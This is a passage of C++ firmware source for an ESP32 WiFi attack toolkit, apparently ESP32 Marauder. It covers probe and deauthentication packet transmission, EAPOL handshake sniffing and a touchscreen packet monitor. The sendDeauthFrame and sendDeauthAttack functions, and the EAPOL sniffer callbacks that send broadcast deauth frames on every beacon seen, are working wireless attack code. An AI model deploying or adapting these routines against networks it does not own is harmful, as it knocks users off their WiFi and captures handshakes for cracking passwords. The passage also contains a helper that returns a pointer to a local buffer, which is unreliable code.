  2002. 0x00, 0x00, 0x00, 0x00};
  2003. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  2004. for (int i = 0; i < 26 + fullLen; i++)
  2005. good_probe_req_packet[i] = prob_req_packet[i];
  2006. for(int i = 0; i < 40; i++)
  2007. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  2008. // Send packet
  2009. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2010. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2011. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2012. packets_sent = packets_sent + 3;
  2013. }
  2014. }
  2015. }
  2016. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
  2017. // Itterate through all access points in list
  2018. // Check if active
  2019. WiFiScan::set_channel = channel;
  2020. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  2021. delay(1);
  2022. // Build packet
  2023. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2024. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2025. deauth_frame_default[10] = bssid[0];
  2026. deauth_frame_default[11] = bssid[1];
  2027. deauth_frame_default[12] = bssid[2];
  2028. deauth_frame_default[13] = bssid[3];
  2029. deauth_frame_default[14] = bssid[4];
  2030. deauth_frame_default[15] = bssid[5];
  2031. deauth_frame_default[16] = bssid[0];
  2032. deauth_frame_default[17] = bssid[1];
  2033. deauth_frame_default[18] = bssid[2];
  2034. deauth_frame_default[19] = bssid[3];
  2035. deauth_frame_default[20] = bssid[4];
  2036. deauth_frame_default[21] = bssid[5];
  2037. // Send packet
  2038. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2039. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2040. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2041. packets_sent = packets_sent + 3;
  2042. }
  2043. void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
  2044. // Itterate through all access points in list
  2045. for (int i = 0; i < access_points->size(); i++) {
  2046. // Check if active
  2047. if (access_points->get(i).selected) {
  2048. this->set_channel = access_points->get(i).channel;
  2049. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2050. delay(1);
  2051. // Build packet
  2052. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2053. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2054. deauth_frame_default[10] = access_points->get(i).bssid[0];
  2055. deauth_frame_default[11] = access_points->get(i).bssid[1];
  2056. deauth_frame_default[12] = access_points->get(i).bssid[2];
  2057. deauth_frame_default[13] = access_points->get(i).bssid[3];
  2058. deauth_frame_default[14] = access_points->get(i).bssid[4];
  2059. deauth_frame_default[15] = access_points->get(i).bssid[5];
  2060. deauth_frame_default[16] = access_points->get(i).bssid[0];
  2061. deauth_frame_default[17] = access_points->get(i).bssid[1];
  2062. deauth_frame_default[18] = access_points->get(i).bssid[2];
  2063. deauth_frame_default[19] = access_points->get(i).bssid[3];
  2064. deauth_frame_default[20] = access_points->get(i).bssid[4];
  2065. deauth_frame_default[21] = access_points->get(i).bssid[5];
  2066. // Send packet
  2067. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2068. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2069. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2070. packets_sent = packets_sent + 3;
  2071. }
  2072. }
  2073. }
  2074. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2075. {
  2076. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2077. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2078. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2079. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2080. int len = snifferPacket->rx_ctrl.sig_len;
  2081. String display_string = "";
  2082. #ifdef HAS_SCREEN
  2083. int buff = display_obj.display_buffer->size();
  2084. #else
  2085. int buff = 0;
  2086. #endif
  2087. if (type == WIFI_PKT_MGMT)
  2088. {
  2089. len -= 4;
  2090. int fctl = ntohs(frameControl->fctl);
  2091. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2092. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2093. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  2094. #ifndef MARAUDER_MINI
  2095. if (snifferPacket->payload[0] == 0x80)
  2096. {
  2097. num_beacon++;
  2098. }
  2099. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  2100. {
  2101. num_deauth++;
  2102. }
  2103. else if (snifferPacket->payload[0] == 0x40)
  2104. {
  2105. num_probe++;
  2106. }
  2107. #endif
  2108. char addr[] = "00:00:00:00:00:00";
  2109. getMAC(addr, snifferPacket->payload, 10);
  2110. display_string.concat(addr);
  2111. int temp_len = display_string.length();
  2112. #ifdef HAS_SCREEN
  2113. for (int i = 0; i < 40 - temp_len; i++)
  2114. {
  2115. display_string.concat(" ");
  2116. }
  2117. //Serial.print(" ");
  2118. #ifdef MARAUDER_MINI
  2119. if (display_obj.display_buffer->size() == 0)
  2120. {
  2121. display_obj.loading = true;
  2122. display_obj.display_buffer->add(display_string);
  2123. display_obj.loading = false;
  2124. }
  2125. #endif
  2126. #endif
  2127. if (save_packet)
  2128. sd_obj.addPacket(snifferPacket->payload, len);
  2129. }
  2130. }
  2131. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2132. {
  2133. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2134. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2135. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2136. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2137. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2138. int len = snifferPacket->rx_ctrl.sig_len;
  2139. String display_string = "";
  2140. if (type == WIFI_PKT_MGMT)
  2141. {
  2142. len -= 4;
  2143. int fctl = ntohs(frameControl->fctl);
  2144. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2145. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2146. }
  2147. #ifdef HAS_SCREEN
  2148. int buff = display_obj.display_buffer->size();
  2149. #else
  2150. int buff = 0;
  2151. #endif
  2152. // Found beacon frame. Decide whether to deauth
  2153. if (send_deauth) {
  2154. if (snifferPacket->payload[0] == 0x80) {
  2155. // Build packet
  2156. uint8_t new_packet[26] = {
  2157. 0xc0, 0x00, 0x3a, 0x01,
  2158. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2159. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2160. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2161. 0xf0, 0xff, 0x02, 0x00
  2162. };
  2163. new_packet[10] = snifferPacket->payload[10];
  2164. new_packet[11] = snifferPacket->payload[11];
  2165. new_packet[12] = snifferPacket->payload[12];
  2166. new_packet[13] = snifferPacket->payload[13];
  2167. new_packet[14] = snifferPacket->payload[14];
  2168. new_packet[15] = snifferPacket->payload[15];
  2169. new_packet[16] = snifferPacket->payload[10];
  2170. new_packet[17] = snifferPacket->payload[11];
  2171. new_packet[18] = snifferPacket->payload[12];
  2172. new_packet[19] = snifferPacket->payload[13];
  2173. new_packet[20] = snifferPacket->payload[14];
  2174. new_packet[21] = snifferPacket->payload[15];
  2175. // Send packet
  2176. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2177. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2178. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2179. delay(1);
  2180. }
  2181. }
  2182. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2183. num_eapol++;
  2184. Serial.println("Received EAPOL:");
  2185. char addr[] = "00:00:00:00:00:00";
  2186. getMAC(addr, snifferPacket->payload, 10);
  2187. display_string.concat(addr);
  2188. int temp_len = display_string.length();
  2189. #ifdef HAS_SCREEN
  2190. for (int i = 0; i < 40 - temp_len; i++)
  2191. {
  2192. display_string.concat(" ");
  2193. }
  2194. Serial.print(" ");
  2195. #ifdef MARAUDER_MINI
  2196. if (display_obj.display_buffer->size() == 0)
  2197. {
  2198. display_obj.loading = true;
  2199. display_obj.display_buffer->add(display_string);
  2200. display_obj.loading = false;
  2201. }
  2202. #endif
  2203. #endif
  2204. // for (int i = 0; i < len; i++) {
  2205. // char hexCar[4];
  2206. // sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2207. // Serial.print(hexCar);
  2208. //Serial.print(snifferPacket->payload[i], HEX);
  2209. // if ((i + 1) % 16 == 0)
  2210. // Serial.print("\n");
  2211. // else
  2212. // Serial.print(" ");
  2213. // }
  2214. // Serial.print("\n");
  2215. }
  2216. if (save_packet)
  2217. sd_obj.addPacket(snifferPacket->payload, len);
  2218. }
  2219. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2220. {
  2221. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2222. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2223. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2224. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2225. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2226. int len = snifferPacket->rx_ctrl.sig_len;
  2227. if (type == WIFI_PKT_MGMT)
  2228. {
  2229. len -= 4;
  2230. int fctl = ntohs(frameControl->fctl);
  2231. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2232. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2233. }
  2234. // Found beacon frame. Decide whether to deauth
  2235. if (snifferPacket->payload[0] == 0x80) {
  2236. // Build packet
  2237. //Serial.println("Recieved beacon frame");
  2238. uint8_t new_packet[26] = {
  2239. 0xc0, 0x00, 0x3a, 0x01,
  2240. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2241. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2242. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2243. 0xf0, 0xff, 0x02, 0x00
  2244. };
  2245. new_packet[10] = snifferPacket->payload[10];
  2246. new_packet[11] = snifferPacket->payload[11];
  2247. new_packet[12] = snifferPacket->payload[12];
  2248. new_packet[13] = snifferPacket->payload[13];
  2249. new_packet[14] = snifferPacket->payload[14];
  2250. new_packet[15] = snifferPacket->payload[15];
  2251. new_packet[16] = snifferPacket->payload[10];
  2252. new_packet[17] = snifferPacket->payload[11];
  2253. new_packet[18] = snifferPacket->payload[12];
  2254. new_packet[19] = snifferPacket->payload[13];
  2255. new_packet[20] = snifferPacket->payload[14];
  2256. new_packet[21] = snifferPacket->payload[15];
  2257. // Send packet
  2258. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2259. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2260. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2261. delay(1);
  2262. }
  2263. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2264. num_eapol++;
  2265. Serial.println("Received EAPOL:");
  2266. // for (int i = 0; i < len; i++) {
  2267. // char hexCar[3];
  2268. // snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
  2269. // Serial.print(hexCar);
  2270. //Serial.print(snifferPacket->payload[i], HEX);
  2271. // if ((i + 1) % 16 == 0)
  2272. // Serial.print("\n");
  2273. // else
  2274. // Serial.print(" ");
  2275. // }
  2276. // Serial.print("\n");
  2277. }
  2278. if (save_packet)
  2279. sd_obj.addPacket(snifferPacket->payload, len);
  2280. }
  2281. #ifdef HAS_SCREEN
  2282. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2283. {
  2284. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2285. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2286. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2287. {
  2288. currentTime = millis();
  2289. do_break = false;
  2290. y_pos_x = 0;
  2291. y_pos_y = 0;
  2292. y_pos_z = 0;
  2293. boolean pressed = false;
  2294. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2295. // Do the touch stuff
  2296. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2297. if (pressed) {
  2298. Serial.print("Got touch | X: ");
  2299. Serial.print(t_x);
  2300. Serial.print(" Y: ");
  2301. Serial.println(t_y);
  2302. }
  2303. // Check buttons for presses
  2304. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2305. {
  2306. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2307. {
  2308. display_obj.key[b].press(true);
  2309. } else {
  2310. display_obj.key[b].press(false);
  2311. }
  2312. }
  2313. // Which buttons pressed
  2314. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2315. {
  2316. if (display_obj.key[b].justPressed())
  2317. {
  2318. Serial.println("Bro, key pressed");
  2319. //do_break = true;
  2320. }
  2321. if (display_obj.key[b].justReleased())
  2322. {
  2323. do_break = true;
  2324. // Channel - button pressed
  2325. if (b == 4) {
  2326. if (set_channel > 1) {
  2327. Serial.println("Shit channel down");
  2328. set_channel--;
  2329. delay(70);
  2330. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2331. //display_obj.tftDrawXScaleButtons(x_scale);
  2332. //display_obj.tftDrawYScaleButtons(y_scale);
  2333. display_obj.tftDrawChannelScaleButtons(set_channel);
  2334. display_obj.tftDrawExitScaleButtons();
  2335. changeChannel();
  2336. break;
  2337. }
  2338. }
  2339. // Channel + button pressed
  2340. else if (b == 5) {
  2341. if (set_channel < MAX_CHANNEL) {
  2342. Serial.println("Shit channel up");
  2343. set_channel++;
  2344. delay(70);
  2345. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2346. //display_obj.tftDrawXScaleButtons(x_scale);
  2347. //display_obj.tftDrawYScaleButtons(y_scale);
  2348. display_obj.tftDrawChannelScaleButtons(set_channel);
  2349. display_obj.tftDrawExitScaleButtons();
  2350. changeChannel();
  2351. break;
  2352. }
  2353. }
  2354. else if (b == 6) {
  2355. Serial.println("Exiting packet monitor...");
  2356. this->StartScan(WIFI_SCAN_OFF);
  2357. //display_obj.tft.init();
  2358. this->orient_display = true;
  2359. return;
  2360. }
  2361. }
  2362. }
  2363. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2364. //Serial.println("-----------------------------------------");
  2365. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2366. x_pos += x_scale;
  2367. initTime = millis();
  2368. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2369. if (y_pos_x >= HEIGHT_1) {
  2370. Serial.println("Max EAPOL number reached. Adjusting...");
  2371. num_eapol = 0;
  2372. }
  2373. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2374. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2375. //Serial.println("num_beacon: " + (String)num_beacon);
  2376. //Serial.println("num_deauth: " + (String)num_deauth);
  2377. //Serial.println(" num_probe: " + (String)num_probe);
  2378. //num_beacon = 0;
  2379. //num_probe = 0;
  2380. //num_deauth = 0;
  2381. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2382. //Plot "X" value
  2383. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2384. //Plot "Z" value
  2385. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2386. //Plot "Y" value
  2387. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2388. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2389. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2390. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2391. {
  2392. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2393. }
  2394. else
  2395. {
  2396. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2397. }
  2398. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2399. //if (x_pos <= 90)
  2400. if (x_pos < 0) // below x axis
  2401. {
  2402. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2403. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2404. }
  2405. else
  2406. {
  2407. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2408. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2409. }
  2410. //tftDisplayTime();
  2411. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2412. {
  2413. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2414. }
  2415. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2416. //y_pos_y_old = y_pos_y;
  2417. //y_pos_z_old = y_pos_z;
  2418. //delay(50);
  2419. }
  2420. sd_obj.main();
  2421. }
  2422. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2423. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2424. display_obj.tftDrawChannelScaleButtons(set_channel);
  2425. display_obj.tftDrawExitScaleButtons();
  2426. display_obj.tftDrawEapolColorKey();
  2427. display_obj.tftDrawGraphObjects(x_scale);
  2428. }
  2429. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2430. {
  2431. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2432. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2433. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2434. {
  2435. currentTime = millis();
  2436. do_break = false;
  2437. y_pos_x = 0;
  2438. y_pos_y = 0;
  2439. y_pos_z = 0;
  2440. boolean pressed = false;
  2441. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2442. // Do the touch stuff
  2443. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2444. if (pressed) {
  2445. Serial.print("Got touch | X: ");
  2446. Serial.print(t_x);
  2447. Serial.print(" Y: ");
  2448. Serial.println(t_y);
  2449. }
  2450. // Check buttons for presses
  2451. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2452. {
  2453. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2454. {
  2455. display_obj.key[b].press(true);
  2456. } else {
  2457. display_obj.key[b].press(false);
  2458. }
  2459. }
  2460. // Which buttons pressed
  2461. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2462. {
  2463. if (display_obj.key[b].justPressed())
  2464. {
  2465. Serial.println("Bro, key pressed");
  2466. //do_break = true;
  2467. }
  2468. if (display_obj.key[b].justReleased())
  2469. {
  2470. do_break = true;
  2471. // X - button pressed
  2472. if (b == 0) {
  2473. if (x_scale > 1) {
  2474. x_scale--;
  2475. delay(70);
  2476. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2477. display_obj.tftDrawXScaleButtons(x_scale);
  2478. display_obj.tftDrawYScaleButtons(y_scale);
  2479. display_obj.tftDrawChannelScaleButtons(set_channel);
  2480. display_obj.tftDrawExitScaleButtons();
  2481. break;
  2482. }
  2483. }
  2484. // X + button pressed
  2485. else if (b == 1) {
  2486. if (x_scale < 6) {
  2487. x_scale++;
  2488. delay(70);
  2489. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2490. display_obj.tftDrawXScaleButtons(x_scale);
  2491. display_obj.tftDrawYScaleButtons(y_scale);
  2492. display_obj.tftDrawChannelScaleButtons(set_channel);
  2493. display_obj.tftDrawExitScaleButtons();
  2494. break;
  2495. }
  2496. }
  2497. // Y - button pressed
  2498. else if (b == 2) {
  2499. if (y_scale > 1) {
  2500. y_scale--;
  2501. delay(70);
  2502. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2503. display_obj.tftDrawXScaleButtons(x_scale);
  2504. display_obj.tftDrawYScaleButtons(y_scale);
  2505. display_obj.tftDrawChannelScaleButtons(set_channel);
  2506. display_obj.tftDrawExitScaleButtons();
  2507. //updateMidway();
  2508. break;
  2509. }
  2510. }
  2511. // Y + button pressed
  2512. else if (b == 3) {
  2513. if (y_scale < 9) {
  2514. y_scale++;
  2515. delay(70);
  2516. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2517. display_obj.tftDrawXScaleButtons(x_scale);
  2518. display_obj.tftDrawYScaleButtons(y_scale);
  2519. display_obj.tftDrawChannelScaleButtons(set_channel);
  2520. display_obj.tftDrawExitScaleButtons();
  2521. //updateMidway();
  2522. break;
  2523. }
  2524. }
  2525. // Channel - button pressed
  2526. else if (b == 4) {
  2527. if (set_channel > 1) {
  2528. Serial.println("Shit channel down");
  2529. set_channel--;
  2530. delay(70);
  2531. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2532. display_obj.tftDrawXScaleButtons(x_scale);
  2533. display_obj.tftDrawYScaleButtons(y_scale);
  2534. display_obj.tftDrawChannelScaleButtons(set_channel);
  2535. display_obj.tftDrawExitScaleButtons();
  2536. changeChannel();
  2537. break;
  2538. }
  2539. }
  2540. // Channel + button pressed
  2541. else if (b == 5) {
  2542. if (set_channel < MAX_CHANNEL) {
  2543. Serial.println("Shit channel up");
  2544. set_channel++;
  2545. delay(70);
  2546. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2547. display_obj.tftDrawXScaleButtons(x_scale);
  2548. display_obj.tftDrawYScaleButtons(y_scale);
  2549. display_obj.tftDrawChannelScaleButtons(set_channel);
  2550. display_obj.tftDrawExitScaleButtons();
  2551. changeChannel();
  2552. break;
  2553. }
  2554. }
  2555. else if (b == 6) {
  2556. Serial.println("Exiting packet monitor...");
  2557. this->StartScan(WIFI_SCAN_OFF);
  2558. //display_obj.tft.init();
  2559. this->orient_display = true;
  2560. return;
  2561. }
  2562. }
  2563. }
  2564. if (currentTime - initTime >= GRAPH_REFRESH) {
  2565. //Serial.println("-----------------------------------------");
  2566. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2567. x_pos += x_scale;
  2568. initTime = millis();
  2569. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2570. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2571. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2572. //Serial.println("num_beacon: " + (String)num_beacon);
  2573. //Serial.println("num_deauth: " + (String)num_deauth);
  2574. //Serial.println(" num_probe: " + (String)num_probe);
  2575. num_beacon = 0;
  2576. num_probe = 0;
  2577. num_deauth = 0;
  2578. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2579. //Plot "X" value
  2580. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2581. //Plot "Z" value
  2582. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2583. //Plot "Y" value
  2584. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2585. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2586. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2587. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2588. {
  2589. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2590. }
  2591. else
  2592. {
  2593. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2594. }
  2595. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2596. //if (x_pos <= 90)
  2597. if (x_pos < 0) // below x axis
  2598. {
  2599. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2600. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2601. }
  2602. else
  2603. {
  2604. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2605. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2606. }
  2607. //tftDisplayTime();
  2608. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2609. {
  2610. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2611. }
  2612. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2613. y_pos_y_old = y_pos_y;
  2614. y_pos_z_old = y_pos_z;
  2615. //delay(50);
  2616. }
  2617. sd_obj.main();
  2618. }
  2619. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2620. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2621. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2622. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2623. display_obj.tftDrawYScaleButtons(y_scale);
  2624. display_obj.tftDrawChannelScaleButtons(set_channel);
  2625. display_obj.tftDrawExitScaleButtons();
  2626. display_obj.tftDrawColorKey();
  2627. display_obj.tftDrawGraphObjects(x_scale);
  2628. }
  2629. #endif
  2630. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2631. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2632. // showMetadata(snifferPacket, type);
  2633. //}
  2634. void WiFiScan::changeChannel(int chan) {
  2635. this->set_channel = chan;
  2636. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2637. delay(1);
  2638. }
  2639. void WiFiScan::changeChannel()
  2640. {
  2641. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2642. delay(1);
  2643. }
  2644. // Function to cycle to the next channel
  2645. void WiFiScan::channelHop()
  2646. {
  2647. this->set_channel = this->set_channel + 1;
  2648. if (this->set_channel > 13) {
  2649. this->set_channel = 1;
  2650. }
  2651. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2652. delay(1);
  2653. }
  2654. char* WiFiScan::stringToChar(String string) {
  2655. char buf[string.length() + 1] = {};
  2656. string.toCharArray(buf, string.length() + 1);
  2657. return buf;
  2658. }
  2659. // Function for updating scan status
  2660. void WiFiScan::main(uint32_t currentTime)
  2661. {
  2662. // WiFi operations
  2663. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2664. (currentScanMode == WIFI_SCAN_AP) ||
  2665. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2666. (currentScanMode == WIFI_SCAN_PWN) ||
  2667. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2668. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2669. (currentScanMode == WIFI_SCAN_ALL))
  2670. {
  2671. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2672. {
  2673. initTime = millis();
  2674. channelHop();
  2675. }
  2676. }
  2677. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2678. {
  2679. #ifdef HAS_SCREEN
  2680. #ifndef MARAUDER_MINI
